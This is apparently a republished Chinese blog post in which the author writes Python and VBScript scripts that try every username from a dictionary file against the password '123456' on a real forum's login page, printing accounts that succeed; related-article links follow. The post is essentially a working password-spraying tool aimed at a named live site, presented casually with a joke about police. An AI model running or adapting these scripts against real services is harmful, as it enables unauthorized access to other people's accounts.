Python牛刀小试密码爆破


Posted in Python onFebruary 03, 2011

难道真的要我破解一个么?算了,正好试试我的Python水平。
python版

#coding: gbk 
import httplib, urllib def Check(username, password): 
params = urllib.urlencode( 
{'userid': username, 'passwd': password}) 
headers = {"Content-type": 
"application/x-www-form-urlencoded"} 
conn = httplib.HTTPSConnection("www.bdwm.net") 
conn.request("POST", 
"/bbs/bbslog2.php", params, headers) 
res = conn.getresponse().read() 
conn.close() 
if res.find("密码不正确") != -1: 
return False 
elif res.find("不存在这个用户") != -1: 
return False 
else: 
return True 
for i in open("English.Dic"): 
if Check(i.rstrip(),"123456"): 
print i

顺便也写了个VBS版的,感觉貌似VBS比较快,感觉出问题了?
Dim fso 
Set fso = CreateObject("scripting.filesystemobject") 
With fso.OpenTextFile("English.Dic",1) 
Do Until .AtEndOfStream 
id = .ReadLine 
If Check(id,"123456") Then 
WScript.Echo id & vbTab &"OK" 
End If 
Loop 
End With Function Check(username,password) 
Dim http 
Set http = CreateObject("Msxml2.XMLHTTP") 
http.open _ 
"POST","https://www.bdwm.net/bbs/bbslog2.php",False 
http.setRequestHeader _ 
"Content-Type","application/x-www-form-urlencoded" 
http.send "userid=" & username & "&passwd=" & password 
response = AnsiToUnicode(http.responseBody) 
If InStr(response,"密码不正确") Then 
Check = False 
ElseIf InStr(response,"不存在这个用户") Then 
Check = False 
Else 
Check = True 
End If 
End Function 
Function AnsiToUnicode(str) 
Dim ado 
Set ado = CreateObject("adodb.stream") 
ado.Type = 1 
ado.Open 
ado.Write str 
ado.Position = 0 
ado.Type = 2 
ado.Charset = "gb2312" 
AnsiToUnicode = ado.ReadText 
End Function

事实证明,123456真是一个无敌的密码。但愿晚上没有警察叔叔敲门。
原文:http://demon.tw/programming/python-a-little-trial.html
Python 相关文章推荐
在Python的Django框架中生成CSV文件的方法
Jul 22 Python
对python append 与浅拷贝的实例讲解
May 04 Python
pytorch 可视化feature map的示例代码
Aug 20 Python
Django框架 查询Extra功能实现解析
Sep 04 Python
Python3.7 读取 mp3 音频文件生成波形图效果
Nov 05 Python
wxpython自定义下拉列表框过程图解
Feb 14 Python
Django 设置多环境配置文件载入问题
Feb 25 Python
python 用Matplotlib作图中有多个Y轴
Nov 28 Python
Python tkinter实现日期选择器
Feb 22 Python
Python pygame实现中国象棋单机版源码
Jun 20 Python
详解Python+OpenCV绘制灰度直方图
Mar 22 Python
Python os和os.path模块详情
Apr 02 Python
初学python数组的处理代码
Jan 04 #Python
让python json encode datetime类型
Dec 28 #Python
让python的Cookie.py模块支持冒号做key的方法
Dec 28 #Python
python封装对象实现时间效果
Apr 23 #Python
python下函数参数的传递(参数带星号的说明)
Sep 19 #Python
Python 元类使用说明
Dec 18 #Python
Python3 入门教程 简单但比较不错
Nov 29 #Python
You might like
php实现建立多层级目录的方法
2014/07/19 PHP
thinkPHP查询方式小结
2016/01/09 PHP
PHP入门教程之会话控制技巧(cookie与session)
2016/09/11 PHP
php更新cookie内容的详细方法
2019/09/30 PHP
php把文件设置为插件的技巧方法
2020/02/03 PHP
解决windows上php xdebug 无法调试的问题
2020/02/19 PHP
javascript 操作Word和Excel的实现代码
2009/10/26 Javascript
ajax更新数据后,jquery、jq失效问题
2011/03/16 Javascript
JS中typeof与instanceof之间的区别总结
2013/11/14 Javascript
Javascript玩转继承(二)
2014/05/08 Javascript
两个多选select(multiple左右)添加、删除选项和取值实例
2014/05/12 Javascript
javascript+html5实现绘制圆环的方法
2015/07/28 Javascript
JS组件Bootstrap按钮组与下拉按钮详解
2016/05/10 Javascript
BootStrap与validator 使用笔记(JAVA SpringMVC实现)
2016/09/21 Javascript
Angular 输入框实现自定义验证功能
2017/02/19 Javascript
浅析Vue 防抖与节流的使用
2019/11/14 Javascript
js实现带有动画的返回顶部
2020/08/09 Javascript
[01:03:41]DOTA2-DPC中国联赛 正赛 Dynasty vs XG BO3 第三场 2月2日
2021/03/11 DOTA
Python内置函数bin() oct()等实现进制转换
2012/12/30 Python
利用pandas进行大文件计数处理的方法
2018/07/25 Python
Python3 实现文件批量重命名示例代码
2019/06/03 Python
如何使用django的MTV开发模式返回一个网页
2019/07/22 Python
Python实现爬取网页中动态加载的数据
2020/08/17 Python
python中xlrd模块的使用详解
2021/02/01 Python
h5页面唤起app如果没安装就跳转下载(iOS和Android)
2020/06/03 HTML / CSS
博朗(Braun)俄罗斯官方商店:德国小家电品牌
2019/09/24 全球购物
大学生最新职业生涯规划书范文
2014/01/12 职场文书
《画杨桃》教学反思
2014/04/13 职场文书
门前三包责任书
2014/04/15 职场文书
工作失职造成投诉的检讨书范文
2014/10/05 职场文书
逃课检讨书范文
2015/05/06 职场文书
2015年学校精神文明工作总结
2015/05/27 职场文书
党员反腐倡廉学习心得体会
2015/08/15 职场文书
爱护环境建议书
2015/09/14 职场文书
JavaScript 数组去重详解
2021/09/15 Javascript
Nginx配置根据url参数重定向
2022/04/11 Servers